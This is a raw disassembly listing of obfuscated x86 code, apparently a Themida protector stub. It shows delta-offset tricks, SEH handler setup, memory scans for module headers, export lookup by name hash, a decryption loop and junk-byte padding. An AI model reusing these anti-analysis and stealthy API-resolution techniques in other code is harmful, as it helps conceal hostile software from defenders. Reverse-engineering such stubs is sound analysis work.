0EC000000h, 5BE9h, 40000000h, 0B11Ah dd 51000000h, 0B18Eh, 2 dup(0) dd 0F0000000h, 9D73CAh, 0 dd 7C000000h, 0FD000000h, 95FF4E05h, 30h, 0 dd 94000000h, 7C90EBh, 0CB000000h, 129ABh, 0 dd 9000000h, 8F8060h, 4 dup(0) dd 48000000h, 6Bh, 7 dup(0) dd 4000000h, 2 dup(0) dd 0AF82h, 2 dup(0) dd 0F000000h, 1D00B118h, 6009h, 0 dd 54000000h, 12FFh, 2 dup(0) dd 0F000000h, 0B118h, 2 dup(0) dd 4D000000h, 2135DC3Ch, 212121h, 0B8000000h, 481EA6D1h dd 3, 0FA000000h, 0BAF799h, 22000000h, 22222222h, 0CC222222h dd 0B13Eh, 4 dup(0) dd 323733h, 2 dup(0) dd 0F000000h, 0B118h, 2120h, 2 dup(0) dd 54000000h, 696D6568h, 6164h, 1Ch dup(0) dd 0DD000000h, 5B1685h, 6 dup(0) dd 9A000000h, 5D1Ah, 8 dup(0) dd 18000000h, 0B129h, 8 dup(0) dd 0BB000000h, 5CA5h, 0FA000000h, 66849Eh, 5 dup(0) dd 80000000h, 12FEh, 2 dup(0) dd 70000000h, 3, 0 dd 55000000h, 5BE0h, 9000000h, 7C812Ah, 3 dup(0) dd 1E000000h, 5ED7h, 4 dup(0) dd 3000000h, 0DF00B1FAh, 0A9C530h, 0 dd 95000000h, 5CEDh, 0 dd 6C000000h, 836F14h, 0 dd 33000000h, 2 dup(33333333h), 333333h, 3 dup(0) dd 80000000h, 12FEh, 0F3000000h, 27F9B9h, 0 dd 37000000h, 0B1FAh, 0 dd 34000000h, 204h, 44000000h, 7C90EBh, 4 dup(0) dd 0AC000000h, 7C802Ch, 2 dup(0) dd 44000000h, 7C90EBh, 98000000h, 5 dup(0) dd 8F000000h, 836F04h, 4 dup(0) dd 1000000h, 5D005BC3h, 0E87DC217h, 2C00003Ah, 5806h, 7 dup(0) dd 10000000h, 81h, 2 dup(0) dd 0CB000000h, 129ABh, 4 dup(0) dd 94000000h, 257C90EBh, 0FFA3ACh, 5Fh dup(0) dd 0E9000000h, 0DA0000D6h, 0E67C81CDh, 2005E93h, 0FB000000h dd 27F9B9h, 24000000h, 5EA4h, 2Fh dup(0) dd 0A0000000h, 6007h, 4 dup(0) dd 0EB000000h, 34h, 0 dd 64000000h, 7 dup(0) dd 0CB000000h, 129ABh, 0 dd 0C6000000h, 5CFFh, 8 dup(0) dd 0A5000000h, 5D1Dh, 4 dup(0) dd 93000000h, 183EDEh, 0 dd 6000000h, 78005C37h, 0CE000000h, 5BE9h, 3 dup(0) dd 0D4000000h, 25C6Dh, 0 dd 84000000h, 412662h, 2 dup(0) dd 8D000000h, 0FD1E08h, 0C1000000h, 0B5005A6Dh, 0DA7DF713h dd 7C8111h, 2 dup(0) dd 0FF000000h, 6FFFFFFh, 30h, 3 dup(0) dd 0A0000000h, 5AC5h, 0A0000000h, 5AC5h, 2 dup(0) dd 0C3000000h, 0FFA7FDh, 4 dup(0) dd 3000000h, 5BE9h, 0Ch dup(0) dd 96000000h, 5A005E33h, 0B777DDEEh, 536FB2Dh, 0A477FFh dd 0 dd 0E8000000h, 5C86h, 3 dup(0) dd 0CB000000h, 6022h, 29000000h, 10571D3Dh, 5B87h, 8 dup(0) dd 44000000h, 0DDB55Ch, 6 dup(0) dd 94000000h, 183E82h, 14000000h, 1130h, 52000000h, 61747365h dd 70417472h, 78652E70h, 65h, 2 dup(0) dd 20000000h, 0B119h, 0 dd 0B100h, 2 dup(0) dd 0D2000000h, 62860h, 0F0000000h, 77DD6Bh, 6 dup(0) dd 7C000000h, 0E0000000h, 5DACh, 79000000h, 1FDE853h, 4D000000h dd 35DC3Ch, 4 dup(0) dd 0AD000000h, 0A8h, 0 dd 80000000h, 0DED5B88h, 0B48Bh, 54000000h, 770012FFh dd 230057FDh, 5C64h, 10000000h, 76F215h, 0 dd 0B8000000h, 0D7887743h, 15F05Bh, 2 dup(0) dd 0BC000000h, 129ABh, 86h dup(0) dd 6D000000h, 7C9105h, 0EC000000h, 57D21Ch, 2 dup(0) dd 0BF000000h, 573EDDh, 2 dup(0) dd 1B000000h, 57CCh, 0Ah dup(0) dd 7A000000h, 0F1E21Ah, 5 dup(0) dd 3E000000h, 5B87h, 6 dup(0) dd 0DD000000h, 3Ah, 24000000h, 46DB56h, 5 dup(0) dd 6C000000h, 836F14h, 4 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_57F81B: ; CODE XREF: start:loc_57C2CAj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 613355Bh mov [ebp+61308B9h], edx mov [ebp+6133481h], esi mov [ebp+61313E5h], eax cmp dword ptr [ebp+61311CDh], 0 jz short loc_57F853 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_57F853: ; CODE XREF: start+6C831j mov eax, [esp+40h+var_1C] mov [ebp+6133081h], eax push 45h call sub_57F907 push 783749Ah call sub_57F94D push 0A894B25h call sub_57F94D jmp loc_57FA91 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h, 46h, 47h dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh dd 0C3C2C1C0h, 2 dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_57F907 proc near ; CODE XREF: start+6C84Bp var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 6133649h mov ebx, edx mov [ebp+var_28], 0 loc_57F923: ; CODE XREF: sub_57F907+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_57F942 mov eax, [ebp+arg_0] mov [ebx+61335B3h], eax inc [ebp+arg_0] inc ebx jmp short loc_57F923 ; --------------------------------------------------------------------------- loc_57F942: ; CODE XREF: sub_57F907+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_57F907 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_57F94D proc near ; CODE XREF: start+6C855p start+6C85Fp var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 6133692h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_57F973: ; CODE XREF: sub_57F94D+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_57F973 mov [ebp+var_84], 0 lea edi, [edx+61335B3h] lea esi, [ebp+var_80] loc_57F9A3: ; CODE XREF: sub_57F94D+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_57F9AF: ; CODE XREF: sub_57F94D+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_57F9AF imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_57F9A3 popa leave retn 4 sub_57F94D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_57F9ED ; --------------------------------------------------------------------------- loc_57F9E9: ; CODE XREF: Themida_:0057F9F0j inc dword ptr [ebp-4] inc esi loc_57F9ED: ; CODE XREF: Themida_:0057F9E7j cmp byte ptr [esi], 0 jnz short loc_57F9E9 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_57FA7E ; --------------------------------------------------------------------------- loc_57F9FF: ; CODE XREF: Themida_:0057FA81j mov dword ptr [ebp-8], 0 jmp short loc_57FA75 ; --------------------------------------------------------------------------- loc_57FA08: ; CODE XREF: Themida_:0057FA79j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_57FA62 ; --------------------------------------------------------------------------- loc_57FA18: ; CODE XREF: Themida_:0057FA66j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_57FA3A cmp bl, 39h ja short loc_57FA3A sub bl, 30h jmp short loc_57FA5C ; --------------------------------------------------------------------------- loc_57FA3A: ; CODE XREF: Themida_:0057FA2Ej ; Themida_:0057FA33j cmp bl, 61h jb short loc_57FA4C cmp bl, 66h ja short loc_57FA4C sub bl, 61h add bl, 0Ah jmp short loc_57FA5C ; --------------------------------------------------------------------------- loc_57FA4C: ; CODE XREF: Themida_:0057FA3Dj ; Themida_:0057FA42j cmp bl, 41h jb short loc_57FA5C cmp bl, 46h ja short loc_57FA5C sub bl, 41h add bl, 0Ah loc_57FA5C: ; CODE XREF: Themida_:0057FA38j ; Themida_:0057FA4Aj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_57FA62: ; CODE XREF: Themida_:0057FA16j cmp dword ptr [ebp-0Ch], 2 jb short loc_57FA18 cmp dword ptr [ebp-10h], 0 jbe short loc_57FA72 mov eax, [ebp-10h] stosb loc_57FA72: ; CODE XREF: Themida_:0057FA6Cj inc dword ptr [ebp-8] loc_57FA75: ; CODE XREF: Themida_:0057FA06j cmp dword ptr [ebp-8], 2 jb short loc_57FA08 add edx, 4 loc_57FA7E: ; CODE XREF: Themida_:0057F9FDj cmp edx, [ebp-4] jb loc_57F9FF mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_57FA91: ; CODE XREF: start+6C864j mov ecx, 7000h lea edi, [ebp+61337D8h] loc_57FA9C: ; CODE XREF: start+6CA8Cj dec byte ptr [edi] inc edi dec ecx jnz short loc_57FA9C mov eax, 48692121h mov edx, 0F0113000h sub edx, 0F0000000h lea eax, [ebp+61338B5h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax sub ebx, 0AE1C6C6h sub eax, edx jmp loc_57FAEC ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 0CA89h dd 9349DF13h, 0C46D289Ah, 0AAC09EA5h, 3458F021h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_57FAEC: ; CODE XREF: start+6CAC1j and eax, 0FFFFF000h cmc mov ecx, edx xor edi, edi loc_57FAF6: ; CODE XREF: start+6CAFDj cmp word ptr [eax], 5A4Dh jnz short loc_57FB0B movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_57FB13 loc_57FB0B: ; CODE XREF: start+6CAE7j sub eax, 1000h inc edi jmp short loc_57FAF6 ; --------------------------------------------------------------------------- loc_57FB13: ; CODE XREF: start+6CAF5j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+61338C8h] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_57FB4D mov esi, [eax+1Ch] loc_57FB4D: ; CODE XREF: start+6CB34j xor eax, eax loc_57FB4F: ; CODE XREF: start+6CB4Ej cmp eax, 32h jz short loc_57FB73 cmp word ptr [esi], 5A4Dh jz short loc_57FB64 loc_57FB5B: ; CODE XREF: start+6CB5Dj sub esi, 10000h inc eax jmp short loc_57FB4F ; --------------------------------------------------------------------------- loc_57FB64: ; CODE XREF: start+6CB45j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_57FBB5 jmp short loc_57FB5B ; --------------------------------------------------------------------------- loc_57FB73: ; CODE XREF: start+6CB3Ej pop large dword ptr fs:0 add esp, 4 popa retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] push ebp call $+5 pop ebp sub ebp, 61338D3h lea eax, [ebp+6133891h] mov [ecx+0B8h], eax pop ebp pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_57FBB5: ; CODE XREF: start+6CB5Bj xchg eax, esi pop large dword ptr fs:0 add esp, 4 push 0 push ebp call sub_57FBCB and [ebp-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_57FBCB proc near ; CODE XREF: start+6CBAFp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_57FBCB endp ; --------------------------------------------------------------------------- fldcw word ptr ds:839FFCD2h sub [ebx], ebp mov bx, di mov bl, cl mov ebx, edi jmp loc_57FBF9 ; --------------------------------------------------------------------------- db 0E5h dd 0D023CB8Dh, 0DF49837Fh db 0EFh ; --------------------------------------------------------------------------- loc_57FBF9: ; CODE XREF: Themida_:0057FBEAj mov cx, ds call near ptr loc_57FC13+2 daa fisubr dword ptr [ebx-34B01236h] in eax, 0C3h ; DMA controller, 8237A-5. ; channel 1 current word count test [eax], cl cmp esi, ds:9E835E7Fh setalc loc_57FC13: ; CODE XREF: Themida_:0057FBFCp fisubr word ptr [edx+66h] mov ebx, 805B5A84h loope loc_57FC21 mov bl, 0AFh push esi stc loc_57FC21: ; CODE XREF: Themida_:0057FC1Bj pop ebx or cl, cl jnz loc_57FC69 cmc mov dword ptr [ebp+613173Dh], 1 sub bh, 17h jmp loc_57FC75 ; --------------------------------------------------------------------------- db 51h, 0E8h, 0Bh dd 29000000h, 0C3E1D250h, 112EDB20h, 800FD796h, 0 ; --------------------------------------------------------------------------- pop ebx pop ebx jmp loc_57FC69 ; --------------------------------------------------------------------------- db 6Eh ; --------------------------------------------------------------------------- jmp fword ptr [esi+6E7555Ch] ; --------------------------------------------------------------------------- dw 0E015h dd 0F6E66F37h db 0A1h ; --------------------------------------------------------------------------- loc_57FC69: ; CODE XREF: Themida_:0057FC24j ; Themida_:0057FC56j mov dword ptr [ebp+613173Dh], 0 mov bl, 0A9h loc_57FC75: ; CODE XREF: Themida_:0057FC38j mov [ebp+613116Dh], eax jmp loc_57FC87 ; --------------------------------------------------------------------------- dd 0CB0D7C69h db 0A3h, 86h, 0Fh ; --------------------------------------------------------------------------- loc_57FC87: ; CODE XREF: Themida_:0057FC7Bj mov [ebp+6131EE9h], eax call near ptr sub_57FCA1 clc fsubr qword ptr [ecx] jle short loc_57FCC8 sbb edx, [ebx] push ds push eax jno short near ptr loc_57FCD9+1 pusha cld test ecx, ecx ; =============== S U B R O U T I N E ======================================= sub_57FCA1 proc far ; CODE XREF: Themida_:0057FC8Dp var_20 = dword ptr -20h arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, 1DAB4A51h pop edx mov si, 0FEF9h add edx, 6C09h jnz loc_57FCC6 jmp loc_57FCC6 ; --------------------------------------------------------------------------- dd 782518E8h, 4B041E1Fh ; --------------------------------------------------------------------------- sub esi, [edi] loc_57FCC6: ; CODE XREF: sub_57FCA1+10j ; sub_57FCA1+16j xor ecx, ecx loc_57FCC8: ; CODE XREF: Themida_:0057FC95j ; sub_57FCA1+A2j mov edi, [edx+ecx] and ebx, 685BF319h add edi, 0D5DDF76h mov ah, 13h loc_57FCD9: ; CODE XREF: Themida_:0057FC9Bj sub edi, 10A78E55h pusha cmc movsx edx, ax popa xor edi, 28E82139h mov esi, 2053DC43h push edi mov ah, 0B5h pop dword ptr [edx+ecx] jnb loc_57FD12 pusha jmp loc_57FD0E ; --------------------------------------------------------------------------- dw 0A3EEh dd 0DBC2DCFBh, 7B71E680h db 0F4h, 75h ; --------------------------------------------------------------------------- loc_57FD0E: ; CODE XREF: sub_57FCA1+5Cj movzx esi, di popa loc_57FD12: ; CODE XREF: sub_57FCA1+55j jns loc_57FD1A mov bl, 8Ch loc_57FD1A: ; CODE XREF: sub_57FCA1:loc_57FD12j sub ecx, 4 mov bx, si cmp ecx, 0FFFF94B8h jnz loc_57FD42 mov esi, 65084A63h jmp loc_57FD57 ; --------------------------------------------------------------------------- dw 0FB3Fh dd 3652E578h, 0CA620EBFh db 3Eh, 0F4h ; --------------------------------------------------------------------------- loc_57FD42: ; CODE XREF: sub_57FCA1+85j stc jmp loc_57FCC8 ; --------------------------------------------------------------------------- dd 0B267E84Ah, 0EF0A836Ah, 6E9A01E0h db 0FAh, 20h, 68h ; --------------------------------------------------------------------------- loc_57FD57: ; CODE XREF: sub_57FCA1+90j jmp short loc_57FD5D ; --------------------------------------------------------------------------- db 1Bh, 2, 0 db 0 ; --------------------------------------------------------------------------- loc_57FD5D: ; CODE XREF: sub_57FCA1:loc_57FD57j jmp loc_580486 ; --------------------------------------------------------------------------- jmp loc_57FD77 ; --------------------------------------------------------------------------- db 8Ah dd 55D77416h, 8A9BA460h, 2133E8C6h ; --------------------------------------------------------------------------- pop ds inc ecx inc eax loc_57FD77: ; CODE XREF: sub_57FCA1+C1j pusha add [ebp+61318F5h], ecx mov eax, 0 pusha movzx edx, dx mov edi, [ebp+6130FF9h] popa mov edx, [esp+28h] pusha mov ebx, [ebp+6131AD9h] jmp loc_57FDA9 ; --------------------------------------------------------------------------- dw 0E55Ah dd 9500E97Ch, 747E228Bh db 0FFh ; --------------------------------------------------------------------------- loc_57FDA9: ; CODE XREF: sub_57FCA1+F8j popa mov [ebp+6132BC5h], eax cld mov esi, 3Ch cld add esi, [esp+18h+arg_8] add [ebp+61334D9h], edx lodsw mov [ebp+6131629h], edi add eax, [esp+18h+arg_8] jno loc_57FDD9 mov [ebp+6133185h], eax loc_57FDD9: ; CODE XREF: sub_57FCA1+12Cj push eax jmp loc_57FDF3 ; --------------------------------------------------------------------------- db 1Ch dd 7FF0DEBCh, 7F00B3E3h, 78BD0773h, 58A9BFC7h db 47h, 91h, 0BFh ; --------------------------------------------------------------------------- loc_57FDF3: ; CODE XREF: sub_57FCA1+139j mov [esp+0], eax jp loc_57FE02 sub [ebp+6132429h], ebx loc_57FE02: ; CODE XREF: sub_57FCA1+155j mov eax, [eax+78h] mov [ebp+6132951h], edi add eax, [esp+1Ch+arg_8] jmp loc_57FE20 ; --------------------------------------------------------------------------- dd 65AB2B3Fh, 8EDF2232h, 0ACABA4B0h ; --------------------------------------------------------------------------- loc_57FE20: ; CODE XREF: sub_57FCA1+16Ej mov eax, [eax+18h] cld inc eax mov [ebp+613121Dh], edi mov [ebp+6133A8Fh], eax mov [ebp+6131A99h], edx pusha sub [ebp+6130079h], edx popa pop eax jmp loc_57FE4A ; --------------------------------------------------------------------------- db 0CEh, 0BBh, 0F0h db 0D2h, 41h ; --------------------------------------------------------------------------- loc_57FE4A: ; CODE XREF: sub_57FCA1+19Fj jmp loc_57FE5F ; --------------------------------------------------------------------------- db 0E2h dd 0E31A9DA4h, 0AD8F501Ch, 203243EAh db 30h, 0F4h, 0E8h ; --------------------------------------------------------------------------- loc_57FE5F: ; CODE XREF: sub_57FCA1:loc_57FE4Aj mov esi, [eax+78h] mov [ebp+61300E9h], ecx add esi, 1Ch clc add esi, [esp+18h+arg_8] jmp loc_57FE7A ; --------------------------------------------------------------------------- and eax, 2BCC080h loc_57FE7A: ; CODE XREF: sub_57FCA1+1CFj lea edi, [ebp+61318C1h] pusha movzx esi, ax pusha movsx ecx, di mov ebx, [ebp+6131BD5h] popa popa jmp loc_57FEA9 ; --------------------------------------------------------------------------- db 9Dh, 3, 76h dd 1AFD46D6h, 0B7ED6243h, 0ADC39C23h, 36AD23D6h db 20h ; --------------------------------------------------------------------------- loc_57FEA9: ; CODE XREF: sub_57FCA1+1EFj lodsd js loc_57FEB8 ja loc_57FEB8 pusha popa loc_57FEB8: ; CODE XREF: sub_57FCA1+209j ; sub_57FCA1+20Fj jmp loc_57FECD ; --------------------------------------------------------------------------- db 94h, 2Eh, 74h dd 296855AFh, 2D3B60D2h, 8A3DC3ACh db 0A8h ; --------------------------------------------------------------------------- loc_57FECD: ; CODE XREF: sub_57FCA1:loc_57FEB8j add eax, [esp+18h+arg_8] jmp loc_57FEE5 ; --------------------------------------------------------------------------- lodsb mov dh, 0B0h cld cmc les ebp, [ebp-58h] enter 0FFFFF229h, 0F4h and al, [ecx] inc esp loc_57FEE5: ; CODE XREF: sub_57FCA1+230j stosd mov [ebp+6132BB5h], ecx lea edi, [ebp+6130951h] or [ebp+61304D9h], esi jmp loc_57FF07 ; --------------------------------------------------------------------------- db 0C7h, 72h, 0E3h dd 0B9CAB34h db 1Ah, 1, 0Ch ; --------------------------------------------------------------------------- loc_57FF07: ; CODE XREF: sub_57FCA1+257j lodsd cld add eax, [esp+24h] jmp loc_57FF19 ; --------------------------------------------------------------------------- dw 0AF8Fh ; --------------------------------------------------------------------------- inc esi xor al, 6Ch mov cl, 6Ah loc_57FF19: ; CODE XREF: sub_57FCA1+26Cj sub [ebp+6132261h], esi push eax pusha mov bx, cx mov si, 0C3A0h popa mov [esp+0], eax pusha add [ebp+6130C19h], esi mov [ebp+61310B5h], edi popa jz loc_57FF48 pusha mov [ebp+61334A9h], edi popa loc_57FF48: ; CODE XREF: sub_57FCA1+299j stosd xor [ebp+6130F59h], edi lea edi, [ebp+6131B55h] mov [ebp+6130709h], esi lodsd jge loc_57FF68 mov [ebp+6133059h], esi loc_57FF68: ; CODE XREF: sub_57FCA1+2BBj add eax, [esp+28h] xor [ebp+6131239h], ebx pusha mov edx, 8FBDFA1h pusha mov [ebp+6132C49h], ecx popa popa stosd jmp loc_57FF96 ; --------------------------------------------------------------------------- db 0EDh dd 9D4BC67Fh, 9AE40827h, 71F3DB33h ; --------------------------------------------------------------------------- pop esi pop ebp loc_57FF96: ; CODE XREF: sub_57FCA1+2E1j pop esi clc sub [ebp+61325EDh], ebx loc_57FF9E: ; CODE XREF: sub_57FCA1+389j dec dword ptr [ebp+6133A8Fh] cmp dword ptr [ebp+6133A8Fh], 0 jnz short loc_57FFBD mov dword ptr [esp+1Ch], 0 lea esi, [ebp+6133F55h] jmp esi ; --------------------------------------------------------------------------- loc_57FFBD: ; CODE XREF: sub_57FCA1+30Aj push esi lodsd add eax, [esp+28h] xchg eax, edi mov ebx, edi mov al, [ebp+61311E1h] test al, al jz short loc_57FFD4 cmp al, [edi] jnz short loc_580020 loc_57FFD4: ; CODE XREF: sub_57FCA1+32Dj push edi xor al, al loc_57FFD7: ; CODE XREF: sub_57FCA1+337j scasb jnz short loc_57FFD7 pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_57FFE4: ; CODE XREF: sub_57FCA1+36Cj xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_57FFF3: ; CODE XREF: sub_57FCA1+365j shr bx, 1 rcr ax, 1 jnb short loc_580004 xor ax, 5041h xor bx, 5449h loc_580004: ; CODE XREF: sub_57FCA1+358j dec dh jnz short loc_57FFF3 xor ecx, eax xor edx, ebx dec edi jnz short loc_57FFE4 not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_58002F loc_580020: ; CODE XREF: sub_57FCA1+331j pop esi add esi, 4 inc dword ptr [ebp+6132BC5h] jmp loc_57FF9E ; --------------------------------------------------------------------------- loc_58002F: ; CODE XREF: sub_57FCA1+37Dj pop esi pusha mov cx, 84FDh or edx, [ebp+6131FD5h] popa jbe loc_58004F pusha adc di, 51C5h mov [ebp+6131619h], ebx popa loc_58004F: ; CODE XREF: sub_57FCA1+39Bj mov eax, [ebp+6132BC5h] jb loc_580067 jno loc_580067 mov [ebp+613151Dh], ebx loc_580067: ; CODE XREF: sub_57FCA1+3B4j ; sub_57FCA1+3BAj sub [ebp+6131D7Dh], edx shl eax, 1 sub [ebp+61308CDh], ecx mov [ebp+6130FF9h], esi add eax, [ebp+6131B55h] js loc_58008D mov [ebp+6130BADh], ebx loc_58008D: ; CODE XREF: sub_57FCA1+3E0j mov esi, 0 cld xchg eax, esi mov [ebp+6132369h], edx lodsw jmp loc_5800AE ; --------------------------------------------------------------------------- db 0EEh, 5Eh, 0BCh dd 0B76EE00h, 544F9084h ; --------------------------------------------------------------------------- jmp short loc_580113 ; --------------------------------------------------------------------------- loc_5800AE: ; CODE XREF: sub_57FCA1+3FBj pusha add eax, [ebp+6131BF1h] mov ebx, 595BF2D6h popa shl eax, 2 mov [ebp+6131621h], ebx add eax, [ebp+61318C1h] js loc_5800E8 jmp loc_5800E8 ; --------------------------------------------------------------------------- db 8, 25h, 0E8h dd 6C513DA8h, 450CB1Ch, 9B945615h, 81AA09Ah ; --------------------------------------------------------------------------- loc_5800E8: ; CODE XREF: sub_57FCA1+429j ; sub_57FCA1+42Fj xchg eax, esi mov [ebp+6132C89h], esi lodsd stc mov ecx, [esp+24h] jmp loc_580105 ; --------------------------------------------------------------------------- dw 0A40Bh dd 7A6346E4h, 5E53D14h ; --------------------------------------------------------------------------- xlat loc_580105: ; CODE XREF: sub_57FCA1+454j add eax, [esp+24h] sub [ebp+6131BCDh], ebx mov [esp+1Ch], eax loc_580113: ; CODE XREF: sub_57FCA1+40Bj stc xchg eax, esi pusha pusha sbb bl, 0E2h popa movsx eax, cx popa mov [ebp+6131211h], esi lodsb clc ja loc_58013F jmp loc_58013F ; --------------------------------------------------------------------------- test al, 7Dh dec edx icebp sal ebx, 0F7h mov esi, 0CB3244EEh push ds loc_58013F: ; CODE XREF: sub_57FCA1+486j ; sub_57FCA1+48Cj xor cl, cl ja loc_58014D mov [ebp+6131BA1h], eax loc_58014D: ; CODE XREF: sub_57FCA1+4A0j inc cl pusha or dl, 43h jge loc_58015F jge $+6 loc_58015F: ; CODE XREF: sub_57FCA1+4B2j popa loc_580160: ; CODE XREF: sub_57FCA1+500j rcl al, 1 jnb loc_58021F cmc pusha mov ax, 4099h push ebx mov si, bx pop eax popa rcl al, 1 jnb loc_58021F mov [ebp+6130FEDh], edi rcl al, 1 jb loc_58021F jmp loc_580196 ; --------------------------------------------------------------------------- db 73h dd 798EC618h db 2 dup(0Fh) ; --------------------------------------------------------------------------- loc_580196: ; CODE XREF: sub_57FCA1+4E9j rcl al, 1 jb loc_58021F clc dec cl jns loc_580160 jmp loc_5801B8 ; --------------------------------------------------------------------------- cdq or bl, ch dec ecx mov eax, ds:789ECDA7h db 2Eh nop leave loc_5801B8: ; CODE XREF: sub_57FCA1+506j jno loc_5801D0 jmp loc_5801D0 ; --------------------------------------------------------------------------- db 83h dd 0C321AF00h, 0C4EB95E0h, 9F99820Bh ; --------------------------------------------------------------------------- loc_5801D0: ; CODE XREF: sub_57FCA1:loc_5801B8j ; sub_57FCA1+51Dj add esp, 20h jnz loc_5801DF or [ebp+6130EBDh], ebx loc_5801DF: ; CODE XREF: sub_57FCA1+532j mov dword ptr [esp-4], 0 mov [ebp+61324BDh], edx mov eax, 1 mov [ebp+61300E1h], ecx lea ecx, [ebp+6137533h] jmp loc_580217 ; --------------------------------------------------------------------------- db 7Ch dd 92068ADBh, 2DB2D020h, 624516BDh, 0A4892F8Fh db 0B2h, 99h, 6Fh ; --------------------------------------------------------------------------- loc_580217: ; CODE XREF: sub_57FCA1+55Dj jmp ecx ; --------------------------------------------------------------------------- sub [ebp+6132A01h], eax loc_58021F: ; CODE XREF: sub_57FCA1+4C1j ; sub_57FCA1+4D5j ... mov byte ptr [ebp+61311E1h], 0 sub [ebp+6131629h], ebx popa or [ebp+61325B5h], eax retn 8 ; --------------------------------------------------------------------------- jb loc_58023D cld loc_58023D: ; CODE XREF: sub_57FCA1+595j xchg eax, esi jmp loc_58024B ; --------------------------------------------------------------------------- xor esi, [edx] xor [esi-0Bh], dh push es retf ; --------------------------------------------------------------------------- db 0A2h ; --------------------------------------------------------------------------- loc_58024B: ; CODE XREF: sub_57FCA1+59Dj push eax jb loc_580267 jmp loc_580267 ; --------------------------------------------------------------------------- db 0BDh dd 0D918ACB4h, 45A44A8Eh, 0DB7FD818h ; --------------------------------------------------------------------------- das movsd pop ss loc_580267: ; CODE XREF: sub_57FCA1+5ABj ; sub_57FCA1+5B1j xchg eax, esi pusha mov ebx, [ebp+61321B1h] mov ebx, [ebp+6131741h] popa mov [ebp+6134178h], esi cld mov [ebp+6134198h], ecx pusha or [ebp+61310D5h], esi popa lea esi, [ebp+6134004h] add [ebp+61305D9h], ecx lea eax, dword_5B8EA1[ebp] pusha mov ax, si popa call eax mov [ebp+6130C3Dh], esi pusha xor [ebp+6132BE1h], ecx mov [ebp+6131631h], ecx popa pop esi stc retn ; --------------------------------------------------------------------------- pusha mov ecx, [ebp+6130595h] mov edx, 45702F49h popa sub [ebp+6131DE5h], edx mov esi, [ebp+6134178h] jmp loc_5802E4 ; --------------------------------------------------------------------------- xor dword ptr [edx], 8942C0C6h xor [ecx], ecx jnz short loc_58032A loc_5802E4: ; CODE XREF: sub_57FCA1+633j mov ecx, [ebp+6134198h] mov [ebp+6133045h], esi mov eax, 0 jmp loc_580309 ; --------------------------------------------------------------------------- dw 884Ah dd 64152240h, 4A7B3FE7h, 0CF87878Fh ; --------------------------------------------------------------------------- xchg eax, ebx loc_580309: ; 